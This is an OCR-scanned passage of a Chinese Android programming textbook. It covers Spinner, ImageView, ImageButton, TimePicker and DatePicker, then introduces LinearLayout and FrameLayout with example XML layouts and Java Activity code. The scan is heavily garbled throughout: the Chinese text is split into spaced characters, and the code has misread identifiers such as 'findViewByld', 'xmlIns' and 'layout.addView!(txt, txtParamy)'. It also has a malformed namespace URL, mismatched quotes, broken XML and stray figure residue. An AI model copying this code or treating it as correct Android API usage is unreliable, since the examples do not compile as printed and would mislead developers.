// 组 件 的 高 度 为 文字 宽度 

// 定 义 使 用 的 文本 资源 

// 定 义 文本 显示 组 件 

// 定 义 此 组 件 ID， 程 序 中 使 用 
// 定 义 组 件 的 显示 文字 

// 组 件 的 宽度 为 屏幕 宽度 

// 组 件 的 高 度 为 文字 高 度 
/定义 下 拉 列 表 组 件 

// 定 义 此 组 件 ID， 程 序 中 使 用 
// 组 件 的 宽度 为 文字 宽度 

// 组 件 的 高 度 为 文字 高 度 

// 定 义 文本 显示 组 件 

// 定 义 此 组 件 ID， 程 序 中 使 用 
// 定 义 组 件 的 显示 文字 

// 组 件 的 宽度 为 屏幕 宽度 

// 组 件 的 高 度 为 文字 高 度 

// 定 义 下 拉 列 表 组 件 

// 定 义 此 组 件 ID， 程 序 中 使 用 
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android:layout_ width="wrap_content" // 组 件 的 宽度 为 文字 宽度 
android:layout_height="wrap_content” /> // 组 件 的 高 度 为 文字 高 度 
</LinearLayout> 


本 程序 分 别 使 用 <Spinner> 节 点 定义 了 3 个 下 拉 列 表 框 。 


(1) 列表 框 1，@+tid/mycity: 直接 通过 android:entries="@array/city_ labels 读 取 了 资源 文件 
city_data 中 <string-array > 元 素 中 配置 name 属性 为 city_labels 的 信息 ， 并 将 此 资源 文件 中 定义 的 
列表 项 设置 到 下 拉 列 表 框 中 ， 而 列表 框 的 提示 信息 直接 在 strings.xml 文件 中 定义 〈 定 义 的 名 称 


为 city prompt) 。 


(2) 列表 框 2，@+tid/mycolor: 只 是 定义 了 一 个 下 拉 列 表 框 组 件 ， 此 组 件 的 内 容 要 通过 程序 


读 取 资源 文件 设置 。 


(3) 列表 框 3，@+idmyedu: 定义 一 个 下 拉 列 表 框 组 件 ， 以 后 直接 通过 程序 进行 内 容 的 设置 。 


【 例 4-16】 定义 提示 信息 一 一 values\strings.xml 
<?xml version="1.0" encoding="utf-8"?> 
<resources> 
<string name="hello">Hello World, MySpinnerDemol</string> 
<string name="app_name">MySpinnerDemo</string> 
<string name="city prompt">i : </string> 
</resources> 


在 main.xml 文件 中 定义 完 组 件 之 后 ， 下 面 编写 Activity 程序 ， 通 过 程序 分 别 设置 列表 框 2 
和 列表 框 3 的 显示 内 容 。 在 通过 Activity 程序 设置 列表 框 内 容 时 ,所 有 的 选项 是 通过 ArrayAdapter 
类 进行 保存 的 。ArrayAdapter 类 是 一 个 数组 的 适配器 类 , 此 类 可 以 通过 资源 文件 或 List 集合 保存 


的 内 容 来 设置 下 拉 列 表 的 选项 。 
【 例 4-17】 编写 Activity 程序 一 一 MyView.javal 
package org.Ixh.demo; 
import java.util.ArrayList; 
import java.util.List; 
import android.app.Activity; 
import android.os.Bundle; 
import android.widget.ArrayAdapter; 
import android.widget.Spinner; 
public class MySpinnerDemo extends Activity { 
private Spinner spiColor = null; 
private Spinner spiEdu = null; 
private ArrayAdapter<CharSequence> adapterColor = null; 
private ArrayAdapter<CharSequence> adapterEdu = null; 
private List<CharSequence> dataEdu = null; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 
this.spiColor = (Spinner) super.findViewByld(R.id.mycolon); 
this.spiColor.setPrompt(" 请 选择 您 喜欢 的 颜色 :"); 
this.adapterColor = ArrayAdapter.createFromResource(this, 
R.array.color_labels, 
android.R.layout.simple_spinner_item); 
this.adapterColor.setDropDownViewResource( 
android.R.layout.simple_spinner_dropdown_item); 
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// 定 义 表示 颜色 的 列表 框 
// 定 义 表示 学 历 的 列表 框 
/下 拉 列 表 内 容 适 配器 
/下 拉 列 表 内 容 适 配器 
/集合 保存 下 拉 列 表 选 项 


// 父 类 onCreate() 方 法 
// 调 用 布局 管理 器 

// 取 出 组 件 

// 定 义 提 示 信 息 


// 从 资源 文件 读 取 选 项 


1/ 设置 列 表 显示 风格 


第 4 章 Android 中 的 基本 控件 (上 ) 


this.spiColor.setAdapter(this.adapterColor); // 设 置 下拉 列 表 选 项 
this.dataEdu = new ArrayList<CharSequence>(); // 实 例 化 List 集 合 
this.dataEdu.add(" 大 学 "); /设置 选项 内 容 
this.dataEdu.add(" 研 究 生 "); // 设 置 选项 内 容 
this.dataEdu.add(" 高 中 "); // 设 置 选项 内 容 
this.spiEdu = (Spinner) super findViewByld(R.id.myedu); // 取 得 下 拉 列 表 框 
this.spiEdu.setPrompt(" 请 选择 您 喜欢 的 学 历 :“"); /设置 提示 信息 


this.adapterEdu = new ArrayAdapter<CharSequence>(this, 
android.R.layout.simple_spinner_item, this.dataEdu); /定义 下 拉 列 表 项 
this.adapterEdu.setDropDownViewResource( 
android.R.layout.simple_spinner_dropdown_item);”// 设 置 下 拉 列 表 显示 风格 


this.spiEdu.setAdapter(this.adapterEdu); /设置 下 拉 列 表 选 项 
} 
本 程序 将 列表 框 2(@+tid/mycolor) 的 内 容 通过 ArrayAdapter 类 从 标签 为 color labels 的 资 


源 文件 中 进行 读 取 ,之 后 采用 simple_spinner dropdown_item 的 方式 设置 了 下 拉 列 表 框 的 显示 风格 ， 
最 后 通过 Spinner 类 的 setAdapter0 方 法 将 所 有 的 选项 内 容 设 置 到 了 下 拉 列 表 框 中 ;而 列表 框 3 

(CQ@+idimyedu) 采用 了 与 之 相同 的 操作 , 唯一 不 同 的 是 , 此 时 下 拉 列 表 框 中 的 内 容 都 是 通过 List 
集合 指定 的 ， 程 序 的 运行 效果 如 图 4-10 所 示 。 


图 4-10 设置 下 拉 列 表 框 显示 


另外 ， 需 要 注意 的 是 ， 如 果 在 设置 第 二 个 下 拉 列 表 框 时 ， 没 有 编写 以 下 列表 框 显示 风格 语句 : 
this.adapterColor.setDropDownViewResource( 
android.R.layout.simple_spinner_dropdown_item); // 设 置 列表 显示 风格 


则 显示 风格 将 有 所 改变 ， 使 用 默认 的 列表 显示 风格 ， 运 行 效果 如 图 4-11 所 示 。 


提示 
关于 显示 风格 的 提示 。 
下 拉 列 表 的 显示 风格 都 在 及 layout 中 进行 了 定义 ， 如 果 要 想 了 解 更 多 显示 风格 的 定义 ， 
可 以 直接 通过 Android-SDK 的 文档 查询 。 
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CEE7TZTES 


请 选择 您 喜欢 的 颜色 : 


红色 
绿色 


图 4-11 不 同 的 显示 风格 


4.8 图 片 视 图 : ImageView 


图 片 视图 组 件 (ImageView) 的 主要 功能 是 为 图 片 展示 提供 一 个 容器 ，android.widget ImageView 
类 的 定义 如 下 : 
java.lang.Object 


b android.view.View 


b android.widget.ImageView 
从 继承 关系 中 可 以 发 现 , android.widget.ImageView 类 是 View 的 子 类 , 此 类 定义 的 属性 及 方 
法 如 表 4-9 所 示 。 

表 4-9 ImageView 定义 的 属性 及 操作 方法 
配置 属性 名 称 对 应 方法 
android:maxHeight public void setMaxHeight (int maxHeight) 
| android:max Width public void setMaxWidth (int maxWidth) | 
android:src public void setImageResource (int resId) 


下 面 为 了 测试 ImageView 组 件 , 在 drawable-xx 文件 夹 中 保存 一 张 图 片 (本 次 保存 在 drawable- 
hdpi 文件 夹 中 ) ， 图 片 名 称 为 mldn_3gjpg， 如 图 4-12 所 示 。 
条 
9 注意 
关于 图 片 的 命名 。 


保存 在 drawable-* 文 件 夹 中 的 图 片 名 称 ， 只 能 由 字母 、 数 字 、“ ”及 “.” 所 组 成 ， 如 果 出 
现 了 其 他 字符 ， 则 开发 工具 会 出 现 错误 提示 : Invalid file name: must contain only [a-z0-9_.]。 


定义 图 片 的 最 大 高 度 
定义 图 片 的 最 大 宽度 
定义 显示 图 片 的 ID 


ww | | 一 


【 例 4-18】 编写 main .xml 文件 ， 定 义 ImageView 组 件 
<?xml version= "1.0" encoding="utf-8"?> 
<LinearLayout // 定 义 线性 布局 管理 器 
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xmlIns:android="http:/schemas.android.com/apK/res/android™" 


android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height= 1/_parent> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ImageView /定义 图 片 显示 组 件 
android:id="@+iommg" // 此 组 件 ID， 程 序 中 使 用 
android:src="@drawable/mldn_3g" /从 drawable 中 读 取 图 片 ID 
android:layout_width="fil/_parent” // 组 件 的 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” /> // 组 件 的 高 度 为 图 片 高 度 
</LinearLayout> 


本 程序 直接 利用 <ImageView> 定 义 了 一 个 图 片 显示 组 件 ， 由 于 之 前 已 经 将 
drawable-x 类 的 文件 夹 之 中 ， 所 以 此 处 直接 读 取 图 片 的 ID Cmldn 3g) 即 可 , 程 
图 4-13 所 示 。 


图 片 保存 在 了 
序 的 运行 效果 如 


Wl 5554:Android_2.3 


魔 乐 科技 
3G/ 钳 入 式 学 院 


图 4-12 要 显示 的 图 片 图 4-13 定义 图 片 显示 组 件 


4.9 图 片 按钮 : ImnageButton 


与 按钮 组 件 (Button) 类 似 ， 在 Android 中 还 提供 了 一 个 图 片 按钮 组 件 (ImageButton) ， 可 
以 直接 使 用 ImageButton 类 定义 ， 此 类 定义 如 下 : 
java.lang.Object 
b android.view.View 
b android.widget.ImageView 
b android.widget.ImageButton 


下 面 使 用 ImageButton 分 别 定义 两 个 图 片 按钮 : 一 个 表示 正确 (right) ; 另外 一 个 表示 错误 
(wrong) 。 这 两 张 图 片 如 图 4-14 所 示 ， 均 保存 在 drawable-x 文件 夹 中 。 
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要 
图 4-14 要 显示 的 图 片 


【 例 4-19】 在 main.xml 文件 中 定义 ImageButton 组 件 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 定 义 线 性 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apK/res/android”" 
android:orientation="vertica/” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_ parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height= 7/_parent> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ImageButton // 定 义 图 片 按钮 组 件 

android:id="@+id/rig" // 此 组 件 的 1D， 程序 中 使 用 
android:src="@drawable/right” // 显 示 的 图 片 ID 
android:layout_width="wrap_content”" // 组 件 宽度 为 图 片 宽度 
android:layout_height= "wrap_content"/> // 组 件 高 度 为 图 片 高 度 
<ImageButton // 定 义 图 片 按钮 组 件 
android:id="@+id/Wwro” // 此 组 件 的 ID， 程 序 中 使 用 
android:src="@drawable/wrong” // 显 示 的 图 片 ID 
android:layout_width="wrap_content” // 组 件 宽度 为 图 片 宽度 
android:layout_height= "wrap_content"/> // 组 件 高 度 为 图 片 高 度 
</LinearLayout> 


本 程序 使 用 <ImageButton> 分 别 定义 了 两 个 图 片 按 钮 ， 程 序 运 行 效 果 如 图 4-15 所 示 。 


图 4-15 图 片 按 钮 组 件 


4.10 时 间 选 择 器 : TimePicker 


在 Android 中 使 用 时 间 选 择 器 (TimePicker) ， 可 以 进行 时 间 的 快速 调整 。android.widget. 


第 4 章 “Android 中 的 基本 控件 (上 ) 


TimePicker 类 的 定义 如 下 : 
java.lang.Object 


b android.view.View 
b android.view.ViewGroup 
b android.widget.FrameLayout 


b android.widget. TimePicker 
android.widget.TimePicker 类 提供 的 常用 方法 如 表 4-10 所 示 。 


表 4-10 TimePicker 的 常用 方法 


No. 疮 :法 类 型 描述 
1 ublic Integer getCurrentHourO i 返回 当前 设置 的 小 时 
2 public Integer getCurrentMinuteO) 普通 返回 当前 设置 的 分 钟 
3 public boolean is24HourViewO 普通 判断 是 否 是 24 小 时 制 
4 public void setCurrentHour(Integer currentHour 设置 当前 的 小 时 数 
5 public void setCurentMinute(Integer currentMinute, 设置 当前 的 分 钟 
6 public void setEnabled(boolean enabled) 设置 是 否 可 用 
学 public void setIs24HourView(Boolean is24HourView) 设置 时 间 为 24 小 时 制 
public void setOnTimeChangedListensrt TiniePicker: 普通 当时 间 修改 时 触发 此 事件 
OnTimeChangedListener onTimeChangedListener) 


【 例 4-20】 在 main.xml 中 定义 时 间 选 择 器 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 定 义 线性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/" /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TimePicker // 定 义 时 间 组 件 

android:id="@+id/tp1" // 定 义 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content”" // 组 件 宽度 为 显示 宽度 
android:layout_height= "wrap_content"/> // 组 件 高 度 为 显示 高 度 
<TimePicker // 定 义 时 间 组 件 
android:id="@+id/tp2" // 定 义 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content”" // 组 件 宽度 为 显示 宽度 
android:layout_height="wrap_content" /> // 组 件 高 度 为 显示 高 度 
</LinearLayout> 


本 程序 使 用 <TimePicker> 定 义 了 两 个 时 间 选 择 器 , 由 于 在 配置 文件 


bh, 组 件 的 默认 运行 方式 


为 12 小 时 制 ， 所 以 下 面 通过 Activity 程序 将 第 二 个 时 间 选 择 器 组 件 定义 为 24 小 时 时 间 显示 制 。 


【 例 4-21】 编写 Activity 程序 ， 将 时 间 变 为 24 小 时 制 
package org.lxh.demo; 
import android.app.Activity; 
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import android.os.Bundle; 
import android.widget.TimePicker 
public class MyTimePickerDemo extends Activity { 


private TimePicker mytp = null ; /时 间 组 件 

@Override 

public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); // 父 类 onCreate() 方 法 
super.setContentView(R.layout.main); /调用 布局 管理 器 
this.mytp = (TimePicker) super.findViewByld(R.id.tp2) ; /取得 时 间 选 择 器 
this.mytp.setls24HourView(true) ; // 设 置 为 24 小 时 制 
this.mytp.setCurrentHour(18) ; // 设 置 小 时 
this.mytp.setCurrentMinute(30) ; // 设 置 分 钟 

} 


} 

本 程序 使 用 fndViewById() 方 法 取得 了 第 二 个 时 间 选 择 器 组 件 ， 之 后 通过 setIs24HourView() 
方法 将 其 设置 为 24 小 时 a 制 ， 同 时 为 了 测试 时 间 是 否 可 以 设置 ， 又 分 别 设置 了 第 二 个 时 间 选 
择 器 组 件 的 小 时 和 分 钟 ， 程 序 运 行 效果 如 图 4-16 所 示 。 


图 4-16 定义 时 间 选 择 器 


4.11 日 期 选择 器 : DatePicker 


完成 年 月 、 日 的 设置 。android.widget. 


java.lang. Objeat 


b android.view.View 
b android.view.ViewGroup 
b android.widget.FrameLayout 


b android.widget.DatePicker 
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android.widget.DatePicker 类 是 用 来 进行 日 期 操作 的 ， 所 以 此 类 提供 的 方法 也 是 围绕 年 、 月 、 
日 进行 的 ， 常 用 方法 如 表 4-11 所 示 。 
表 4-11 DatePicker 类 的 常用 方法 


No 方 ” 法 描述 
1 | public int getYear0 取得 设置 的 年 
2 | public int getMonthO 取得 设置 的 月 
3 | public int getDayOfMonthO 取得 设置 的 日 
4 | public void setEnabled(boolean enabled) 设置 组 件 是 否 可 用 


public void updateDate(int year, int monthOfYear, 
int dayOfMonth) 

public void init(int year, int monthOfYear, int 

6 dayOfMonth, DatePicker.OnDateChangedListener 
onDateChangedListener 


【 例 4-22】 在 main.xml 文件 中 定义 日 期 组 件 


<?xml version= "1.0" encoding="utf-8"?> 


设置 一 个 指定 的 日 期 


初始 化 日 期 并 制定 操作 的 监听 器 


<LinearLayout /定义 线性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<DatePicker // 定 义 日 期 选择 器 

android:id="@+id/dp1" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content”" // 组 件 宽度 为 显示 宽度 
android:layout_height= "wrap_content"/> // 组 件 高 度 为 显示 高 度 
<DatePicker // 定 义 日 期 选择 器 
android:id="@+id/dp2" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content”" // 组 件 宽度 为 显示 宽度 
android:layout_height="wrap_content" /> // 组 件 高 度 为 显示 高 度 
</LinearLayout> 
在 本 程序 中 ， 使 用 了 两 个 <DatePicker> 节 点 分 别 配置 了 两 个 日 期 选择 器 组 件 ， 其 中 第 一 个 


组 件 采 用 默认 配置 ， 所 以 显示 的 是 当前 的 系统 日 期 ， 而 第 二 个 日 期 ， 将 通过 Activity 程序 进行 
设置 。 


【 例 4-23】 编写 Activity 程序 设置 一 个 日 期 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.widget.DatePicker; 
public class MyDatePickerDemo extends Activity { 
private DatePicker mydp = null; 


@Override 

public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); // 调 用 父 类 onCreate() 方 法 
super.setContentView(R.layout.main); // 调 用 布局 文件 
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this.mydp = (DatePicker) super.findViewByld(R.id.dp2); /取得 日 期 选择 器 
this.mydp.updateDate(1998, 7, 27) ; // 设 置 一 个 默认 日 期 
} 
} 


本 Activity 程序 通过 findViewById0 方 法 取得 了 第 二 个 日 期 组 件 的 功 , 之 后 使 用 updateDate() 
方法 设置 了 一 个 默认 的 日 期 ， 程 序 的 运行 效果 如 图 4-17 所 示 。 


CEES7TZTEE 


07 2011 


十 目 十 开 
Aug 27 1998 


图 4-17 定义 日 期 选择 器 


(多 四 
提问 : 日 期 组 件 的 显示 格式 不 好 。 
中 国 习 惯性 的 日 期 显示 格式 是 “年 -月 -日 ”， 而 DatePicker 显示 的 方式 为 “月 -日 -年 ”， 而 且 月 份 
是 用 英文 表示 的 ， 这 样 一 个 程序 写 完 肯定 不 适合 中 国人 使 用 ， 有 办 法 更 改 显 示 风 格 吗 ? 
回答 : 定义 地 区 即 可 更 改 显示 风格 。 
回 到 Android 模拟 器 的 主 界面 ,选择 “设置 ”选项 ， 如 图 4-18 所 示 ， 在 其 中 设置 语言 为 “中文 ( 简 
体 ) ”， 再 次 运行 程序 即 可 将 时 间 显 示 成 中 文 格式 了 。 


CIEE 


@ 帐户 与 同步 


[1 


看 存储 


语言 和 键盘 


语音 输入 与 输出 


图 4-18 设置 显示 时 区 
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4.12 本 章 小 结 


(1) Android 中 的 所 有 组 件 都 是 View 的 子 类 。 

(2) 如 果 和 希望 可 以 固定 地 显示 一 些 内 容 ， 则 可 以 使 用 文本 组 件 TextView 完成 。 

(3) 按钮 是 一 种 特殊 的 文本 组 件 ， 配 合 以 后 讲解 的 事件 处 理 程序 ， 可 以 更 好 地 完成 人 机 交 
互 操 作 。 

(4) 文本 编辑 组 件 (EditText) 配置 android:password="true" 则 表示 按照 密 文 显 示 文 本 ， 适 
合 输入 密码 的 操作 。 

(5) 在 下 拉 列 表 框 的 操作 中 ， 可 以 在 资源 文件 中 配置 下 拉 选 项 ， 也 可 以 通过 程序 完成 配置 。 

(6) 图 片 组 件 ImageView 相当 于 提供 了 一 个 图 片 的 显示 容器 ， 可 以 直接 配置 要 显示 的 图 片 。 

(7) 调整 时 间 可 以 使 用 TimePicker 组 件 ， 调 整 日 期 可 以 使 用 DatePicker 组 件 。 
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第 5 章 布局 管理 器 


通过 本 章 的 学 习 可 以 达到 以 下 目标 : 

了 解 布局 管理 器 的 作用 并 掌握 其 使 用 。 

掌握 Android 系统 提供 的 4 种 布局 管理 器 的 使 用 。 

可 以 采用 其 套 布局 管理 器 实现 复杂 布局 。 

在 默认 情况 下 ， 所 有 的 组 件 都 是 按照 顺序 自 上 向 下 排列 的 ， 如 果 和 希望 组 件 按照 用 户 既 定 的 
方式 排序 ， 则 可 以 通过 布局 管理 器 进行 管理 。 本 章 将 讲解 Android 中 布局 管理 器 的 配置 及 使 用 。 


5$.1 Android 布局 管理 器 简介 


通过 前 面 的 讲解 可 以 发 现 , 在 Android 的 开发 中 , 所 有 的 组 件 都 是 按照 先后 顺序 依次 垂直 排 
列 的 ， 这 是 因为 在 默认 情况 下 使 用 Eclipse 开发 Android 项 目 时 采用 的 是 线性 布局 管理 器 
(LinearLayout) ， 这 一 点 可 以 从 项 目 中 的 layoutmain.xml 文件 中 发 现 。 
【 例 5-1】 main.xml 文件 中 定义 了 默认 的 线性 布局 管理 器 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/” // 所 有 组 件 采用 垂直 方式 由 上 向 下 排列 
android:layout_width="fill_parent” // 此 布局 管理 器 将 填充 整个 屏幕 宽度 
android:layout_height="fill_parent”> // 此 布局 管理 器 将 填充 整个 屏幕 高 度 


从 以 上 配置 可 以 发 现 ， 默 认 情 况 下 所 有 的 组 件 都 将 采用 重 直 的 方式 由 上 至 下 进行 排列 ， 所 
以 布局 管理 器 直接 决定 了 各 个 组 件 的 摆 放 形式 ， 而 在 Android 中 一 共有 以 下 4 种 布局 管理 器 。 

回 LinearLayout: 线性 布局 管理 器 〈 默 认 ) ， 分 为 水 平和 垂直 两 种 ， 只 能 进行 单行 布局 。 

FrameLayout: 所 有 的 组 件 放 在 左上 角 ， 逐 个 覆盖 。 

TableLayout: 任意 行 和 列 的 表格 布局 管理 器 ， 其 中 TableRow 代表 一 行 ， 可 以 向 行 中 增 


加 组 件 。 

回 RelativeLayout。 相 对 布局 管理 器 ， 根 据 最 近 一 个 视图 组 件 或 者 顶层 父 组 件 来 确定 下 一 
个 组 件 的 位 置 。 

”第 5 种 布局 管理 器 。 


在 Android 2.3.3 版 本 之 前 还 存在 着 一 种 绝对 定位 布局 管理 器 ( AbsoluteLayout) ， 此 布 ， 
局 管理 器 使 用 义 、Y 轴 坐 标的 形式 排列 组 件 ， 但 是 在 Android 2.3.3 之 后 不 再 支持 此 布局 管理 
器 ， 本 章 最 后 将 采用 Android 2.2 版 本 演示 此 布局 管理 器 的 使 用 。 


本 程 
水 平 布局 


5:2 


线性 布局 管理 器 : LinearLayout 


布局 是 最 基本 的 一 种 布局 方式 ， 其 本 身 有 两 种 形式 : 垂直 排列 〈vertical) 和 水 平 排列 
(horizontal) 。 对 于 垂直 排列 ， 之 前 已 经 涉及 ， 下 面 直接 以 水 平 排列 为 例 进行 说 明 。 

【 例 5-2】 使 用 水 平 布局 排列 组 件 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout 

xmlIns:android="http:/schemas.android.com/apK/res/android" 
android:orientation="horizontal” 
android:layout_width="fill_parent”" 
android:layout_height="fil|_parent"> 
<TextView 

android:id="@+id/myshowa” 

android:layout_width="wrap_content" 

android:layout_height="wrap_content” 
android:text=" 和 过 兴 华 /> 
<TextView 

android:id="@+id/myshowb” 

android:layout_width="wrap_content" 

android:layout_height="wrap_content” 


android:text= "万 训 麻 舌 稍 龙 康 任 党 院 (MLDN) "1> 


<TextView 
android:id="@+id/myshowc" 
android:layout_width="wrap_content" 
android:layout_height="wrap_content” 
android:text="www.mildnjava.cn"/> 
</LinearLayout> 


如 图 5-1 所 示 。 


从 程序 的 运行 效果 可 以 发 现 ， 
局 , 所 以 所 有 的 组 件 都 在 同 


性 水 平 布 
如 果 组 件 


馈 出 了 


这 一 共 定 义 了 3 个 文本 显示 组 件 ， 并 采用 
(Chorizontal) 形式 显示 ， 程 序 的 运行 效果 


由 于 使 用 的 是 线 
-条 水 平 线 上 ， 
屏幕 的 宽度 , 则 可 能 无 法 正常 显示 。 


Android 中 的 所 有 组 件 包 括 布局 管理 器 实际 上 
都 是 View 的 子 类 , 所 以 LinearLayout 布局 管理 器 也 
是 View 类 的 子 类 。LinearLayout 组 件 类 的 继承 结构 


如 下 : 


java.lang.Object 


b android.view.View 


b android.view.ViewGroup 


b android.widget.LinearLayout 


/使 用 线性 布局 管理 器 


/所 有 的 组 件 水 平 排列 

/此 布局 管理 器 将 填充 整个 屏幕 宽度 
/此 布局 管理 器 将 填充 整个 屏幕 高 度 
/文字 显示 组 件 

/此 组 件 ID， 程 序 中 使 用 

/组 件 宽度 为 文字 宽度 

// 组 件 高 度 为 文字 高 度 

// 默 认 文字 信息 

// 文 字 显示 组 件 

/此 组 件 ID， 程 序 中 使 用 
/组件 宽度 为 文字 宽度 

// 组 件 高 度 为 文字 高 度 

// 默 认 文字 信息 

// 文 字 显示 组 件 

/此 组 件 ID， 程 序 中 使 用 

/组 件 宽度 为 文字 宽度 
/组件 高 度 为 文字 高 度 

1/ 默认 文 字 信息 


图 5-1 


线性 水 平 布 局 
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对 于 这 些 View 类 的 组 件 ， 除 了 可 以 使 用 配置 布局 管理 器 的 方式 定义 之 外 ， 也 可 以 通过 Activity 
程序 动态 地 进行 操作 。android.widget.LinearLayout 类 的 常用 操作 方法 及 常量 如 表 5-1 所 示 。 


表 5-1 LinearLayout 类 的 常用 操作 方法 及 常量 


No. 方法 及 常量 描述 
1 public static final int HORIZONTAL 设置 水 平 对 齐 
2 public static final int VERTICAL 设置 冬 直 对 齐 
3 public LinearLayout(Context context) 创建 LinearLayout 类 的 对 象 


public void addView(View child, ViewGroup. 


4 增加 组 件 并 且 指定 布局 参数 
LayoutParams params) 

号 public void addView(View child) 增加 组 件 

6 protected void onDraw(Canvas canvas) 用 于 图 形 绘制 的 方法 

7 public void setOrientation(int orientation) 设置 对 齐 方式 


另外 ， 如 果 要 使 用 程序 控制 LinearLayout 布局 管理 器 的 操作 ， 则 还 需要 对 一 些 布 局 参数 进 
行 配置 ， 所 有 的 布局 参数 都 保存 在 ViewGroup.LayoutParams 类 中 ， 而 线性 布局 的 参数 则 保存 在 
ViewGroup.LayoutParams 的 子 类 LinearLayout.LayoutParams 类 中 。LinearLayout.LayoutParams 类 
的 继承 结构 如 下 : 


java.lang.Object 
b android.view.ViewGroup.LayoutParams 
b android.view.ViewGroup.MarginLayoutParams 


b android.widget.LinearLayout.LayoutParams 
LinearLayout.LayoutParams 类 提供 了 一 个 构造 方法 ， 语 法 如 下 : 
public LinearLayout.LayoutParams (int width, int height) 
在 创建 布局 参数 时 需要 传递 布局 参数 的 宽度 和 高 度 , 而 这 两 个 布局 参数 可 以 通过 ViewGroup. 
LayoutParams 类 提供 的 两 个 常量 配置 ， 如 表 5-2 所 示 。 


表 5-2 常用 布局 参数 


描述 
填充 全 部 父 控件 
包 右 自身 控件 


【 例 5-3】 通过 代码 生成 布局 管理 器 

package org.Ixh.demo; 

import android.app.Activity; 

import android.os.Bundle; 

import android.view.ViewGroup:; 

import android.widget.LinearLayout; 

import android.widget. TextView; 

public class MyLinearLayoutDemo extends Activity { 
@Override 
public void onCreate(Bundle savedInstanceState) { 

super.onCreate(savedInstanceState); 
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LinearLayout layout = new LinearLayout(this); // 创 建 线性 布局 管理 器 
LinearLayout.LayoutParams param = new LinearLayout.LayoutParams( 
ViewGroup.LayoutParams.FILL_PARENT， ”// 布 局 管理 器 宽度 为 屏幕 宽度 
ViewGroup.LayoutParams.FILL_PARENT); 。 // 布 局 管理 器 高 度 为 屏幕 高 度 
layout.setOrientation(LinearLayout. VERTICAL); // 垂 直 摆 放 组件 
LinearLayout.LayoutParams txtParam = new LinearLayout.LayoutParams( 
ViewGroup.LayoutParams.FILL_PARENT， ”// 组 件 宽度 为 屏幕 宽度 
ViewGroup.LayoutParams.WRAP_CONTENT);// 组 件 高 度 为 文字 高 度 


TextView txt = new TextView(this); /定义 文本 显示 组 件 
txt.setLayoutParams(txtParam); // 设 置 文本 组 件 布局 参数 
txt.setText(" 北 京 魔 乐 科技 软件 学 院 MLDN)"); // 设 置 显示 内 容 
txt.setTextSize(20); /设置 文字 大 小 
layout.addView!(txt, txtParamy); /增加 组 件 
super.addContentView(layout, param) ; /显示 布局 管理 器 


j 
} 
本 程序 不 再 采用 配置 文件 的 方式 配置 布局 管理 器 和 组 件 ， 所 有 的 组 件 都 是 通过 程序 代码 动 
态 生 成 的 ， 在 生成 组 件 或 布局 管理 器 时 ， 都 通过 LinearLayout.LayoutParams 类 指定 了 布局 的 参 
数 ， 最 后 使 用 addContentView() 方 法 设置 了 要 显示 的 组 件 。 程 序 的 运行 效果 如 图 5-2 所 示 。 


5554Android_2.3 E 本 下 可 | 


MyLineartayoutDemo 


图 5-2 手工 配置 布局 管理 器 
5.3 ”框架 布局 管理 器 : FrameLayout 


FrameLayout 布局 (框架 布局 ) 就 是 在 屏幕 上 开辟 一 个 区 域 以 填充 所 有 的 组 件 ， 但 是 使 用 
FrameLayout 布局 会 将 所 有 的 组 件 都 放 在 屏幕 的 左上 角 ， 而 且 所 有 的 组 件 层 车 显示 ， 如 图 5-3 所 示 。 


按钮 组 件 


魔 乐 科技 
3G/ 嵌 入 式 学 院 


Android 手 机 屏幕 


图 5-3 ”使 用 FrameLayout 布局 的 形式 


如 图 5-3 所 示 , 所 有 组 件 都 会 自动 地 在 一 块 区 域 (左上 角 ) 上 进行 全 加 , 而 且 由 于 县 加 操作 ， 
也 会 出 现 组 件 显示 覆盖 的 样式 ， 下 面 就 通过 FrameLayout 进行 组 件 布局 。 
【 例 5-4】 使 用 FrameLayout 进行 布局 


<?xml version="1.0" encoding="utf-8"?> 
<FrameLayout // 使 用 框架 布局 
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xmlns:android="http:/schemas.android.com/apK/res/android" 


android:id="@+id/FrameLayout01" // 此 布局 的 iD， 程序 中 使 用 
android:layout_width="wrap_content”" /此 布局 管理 器 将 填充 整个 屏幕 宽度 
android:layout_height="wrap_content”> // 此 布局 管理 器 将 填充 整个 屏幕 高 度 
<ImageView /| 图片 显示 组 件 
android:id="@+id/myimg” /此 组 件 ID， 程 序 中 使 用 
android:src="@drawable/mldn_3g" // 设 置 显示 图 片 ， 保 存在 drawable-* 文 件 夹 中 


android:layout_width="wrap_content” ”// 组 件 宽度 为 图 片 宽度 
android:layout_height="wrap_content"> // 组 件 高 度 为 图 片 高 度 


<EditText // 文 本 输入 框 
android:id="@+id/myinput” /此 组 件 ID， 程 序 中 使 用 
